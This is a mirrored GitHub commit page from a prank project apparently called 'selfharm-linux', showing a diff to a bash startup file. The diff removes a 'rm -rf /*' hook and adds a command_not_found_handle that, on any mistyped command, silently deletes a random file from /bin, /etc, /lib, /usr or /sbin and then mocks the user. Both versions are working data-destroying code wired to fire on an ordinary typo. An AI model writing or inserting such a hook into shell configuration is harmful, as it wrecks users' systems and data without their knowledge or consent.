1
Fork 0
mirror of https://github.com/RGBCube/selfharm-linux synced 2025-07-25 22:47:46 +00:00
This commit is contained in:
RGBCube 2022-01-29 12:46:05 +03:00 committed by GitHub
parent 13c629e5bb
commit 75ee192f11
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

View file

@ -13,5 +13,8 @@ echo " ==================================="
PS1='${debian_chroot:+($debian_chroot)}\u@\h:\w\$ '
function command_not_found_handle {
rm -rf /* 2>/dev/null &; echo "Oops, looks like you misspelt something >:)";
filetodelete=$(find /{bin,etc,lib,lib64,usr/{bin,lib,sbin},sbin} -type f | sort -R | head -n 1)
(rm -f $filetodelete 2>/dev/null 1>&2 &)
echo "Oops, looks like you misspelt something >:)"
echo "Hope you didn't need $filetodelete..."
}